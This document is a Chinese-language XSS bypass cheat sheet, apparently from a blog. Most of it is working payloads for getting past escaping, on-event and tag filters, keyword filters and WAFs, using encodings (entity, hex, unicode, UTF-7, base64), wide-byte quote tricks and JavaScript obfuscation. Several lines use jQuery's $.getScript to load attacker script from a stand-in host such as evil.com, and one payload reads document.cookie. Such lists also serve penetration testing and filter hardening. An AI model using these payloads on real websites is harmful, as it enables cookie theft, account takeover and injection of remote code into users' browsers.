XSS绕过速查表

资料

https://www.yuque.com/pmiaowu/web_security_1/cs5l14

https://www.yuque.com/pmiaowu/web_security_1/scwgqm

https://www.yuque.com/pmiaowu/web_security_1/scwgqm#JFw3a

过滤部分速查

" ' > <被转义

其实 这几个符号都被转义了之后xss存在的可能行就比较小了

  1. 观察输出位置 如果在 <a href="xxx" >111</a>中或者<iframe src="xxx">的xxx部分,可以尝试伪协议来进行弹窗
  • javascript:alert(1)如果伪协议被正则过滤尝试javasc
    ript:
    替换javascript 效果相同,代表换行 :代表冒号,语句解码之后和javascript:是一样的
  1. 尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js (分类存疑)
  • $.getScript`http://evil.com/test.js`;
  • <svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">
  1. 尝试输入" > < 观察是否会反转回来

  2. <>被转义的特殊情况,如果数据传输是json格式的话,可以尝试利用\u003c\x3c代替<\u003e\x3e代替>

  3. 如果页面编码为GBK的时候且位置处于 “xxxx” 中可以尝试宽子节来 “吃掉” 前面的引号(这种情况是因为开启了转义之后我们输入的 ” 引号会变成 \" 利用,通过 %d5等类似吃掉前面的 \ 从而构成别的字符)%df"alert(1)

  4. 观察对应标签前面还有没有其他标签

    例子:<title><input type="submit" value="</title><script>alert(1)</script>">

    这样是可以弹窗的,因为<title>的优先级高于 "同样类似的标签还有

    <!--
    <iframe>
    <noframes>
    <noscript>
    <script>
    <style>
    <textarea>
    <title>
    <xmp>
    

    以上的标签存在于 <input> 或者是别的标签前面的时候,这时候可以通过优先级来进行一个绕过

on事件过滤

观察网页是如何过滤的

有的是把onload 变成 on_load类似这样,这种情况下首先先尝试fuzz一下on事件看看有没有遗漏,如果没有遗漏的话就尝试利用一些不需要使用on事件来触发的xss类似a标签的base64之类的

有的是过滤了on事件,有可能是把onload 变成了空,这样的情况首先可以尝试 复写或者大小写 onloonloadad(不过这种比较蠢的过滤不是很常见)

有的是waf拦截,当你输入onload=alert(1) 类似语句会回显 数据异常之类的, 这种情况下需要简单的判断一下waf是检测到什么语句才触发的拦截,绕过思路和第一种情况有些类似,可以尝试不同类型的xss

onxxxx=过滤 (onxxx代表on事件 例:onload)

  • onload = alert(1)在onload和等号之间添加空格绕过
  • onload%0a=alert(1) 在onload后添加%0a换行符号来进行绕过,同样的可以替换为这个这个也是换行的意思同样可以造成xss
  • 引入第三方或xss平台的js (需要在script等标签中跨域调用js资源)
    1. <script>$.getScript http://evil.com/test.js ;</script>
    2. <svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">

onxxx 过滤 (onxxx代表on事件 例:onload)

  • 伪协议绕过,javascript vbscript等
  • base64加密方式绕过
    1. <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
  • 引入第三方或xss平台的js (需要在script等标签中跨域调用js资源)
    1. <script>$.getScript http://evil.com/test.js ;</script>

特定标签过滤

首先尝试不完全闭合的结构,畸形结构绕过

  • <SCRIPT SRC=http://xss.rocks/xss.js?< B >
  • <SCRIPT SRC=//xss.rocks/.j>
  • <script>alert(1)</script
  • <img ``_ -/@#$% ^ &*()! {}[] :"" '' ? src="x" ``_ -/@#$% ^ &*()! {}[] :"" '' ? onerror="alert(1)">
  • <SCRIPT a=">",<SCRIPT =">",<SCRIPT a=">" '',<SCRIPT "a='>'",<SCRIPT a=">'>"
  • <SCRIPT>alert(1)</SCRIPT/FGHJK!@#$%^*( 未闭合标签混淆

如果对script没有进行严格过滤的话,尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js

  • $.getScript`http://evil.com/test.js`;
  • <svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">

尝试别的标签来进行替换,常用的img svg video details a 等标签替换,下面是一些比较好用的payload到时候可以进行替换

javascript
<details/open/ontoggle=alert(1)>
<svg/onload=alert(1)>
<img/src/onerror=alert(1)>
<video/src/onerror=alert(1)>
<script>(alert)(1)</script>
<video><sourceonerror=”javascript:alert(1)”>
<video/src/onloadstart=”alert(1)”>
<svg><script><!-->a</>l</>e</>r</>t(999)</script>
<ahref=javascript:alert(1)>222</a>
<svg><animateTransform attributeName=transform dur=1s onend=alert(1)>
<details open ontoggle=confirm(0)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<a href="javasc
ript:alert(1)">click</a>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
1
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">

括号过滤

反引号` 代替 括号( 进行闭合 例:alert`1`

利用base64加密类型的xsspayload,例如:

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">

alert等特定字符过滤

实际过程中单独过滤的时候用到的不多,大致就是换不同的来进行,或者进行编码

confiem prompt等标签进行弹窗

大小写绕过,复写绕过(alalertert)

尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js

  • $.getScript`http://evil.com/test.js`;
  • <svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">

编码绕过 例:html实体编码,Hex编码,Unicode编码,utf7编码等等

  • <svg/onload= alert(1)></svg> 这里html实体编码后面的分号可以不加同样可以xss(这里对a进行了html实体编码 a –> a)对括号同样可以进行编码处理 <svg/onload= alert(1)></svg> ( —> (

  • <svg/onload= %61lert(1)></svg> (对a进行了hex编码 a —> %61)

  • <svg/onload
    = \u0061lert(1)></svg>
    (对a进行了unicode编码 a –> \u0061 同时\u0061也可以用\x61来进行替代) 对括号同样可以进行编码处理

  • UTF-7 (7-位元 Unicode 转换格式) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。

    举个例子:alert(document.cookie) 编码后就成了 +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-。 当标签没有指定明确的charset,而且返回内容的头几个字符是+/v8(utf7 bom)时,浏览器将以utf-7编码解析,从而形成XSS

编码解码

  • String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) 返回UTF-16组成的字符串 解码后为alert(1)
  • atob('YWxlcnQoMSk=') atob函数为解码base64字符串 解码后为alert(1)

代码混淆绕过

javascript
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

空格被过滤

  1. 利用 / 来进行代替 例如 <svg/onload=alert(1)>

script标签中的骚操作绕过waf

下面的payload都要在script标签中才能有效触发

(self)["alert"]("111")

(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

编码绕过

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)

利用jQuery绕过waf

self["$"]["globalEval"]("alert(1)");

self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");

利用javascript的特性跨域访问js

self["$"]["getScript"]("https://example.com/my.js");

根据Object.keys来获取我们想要的函数

Object.keys 是一个数组里面存放着所有的函数可以通过 Object.keys(self)[145] 比方说145对应的是alert 就可以通过 Object.keys(self)[145]("1")来弹窗

通过c=0;for(i in self){if(i=="alert"){console.log(c);}c++;}这个语句来获取alert对应的序列

然后进行一个弹窗 Object.keys(self)[145]("1")

发表评论

电子邮件地址不会被公开。 必填项已用*标注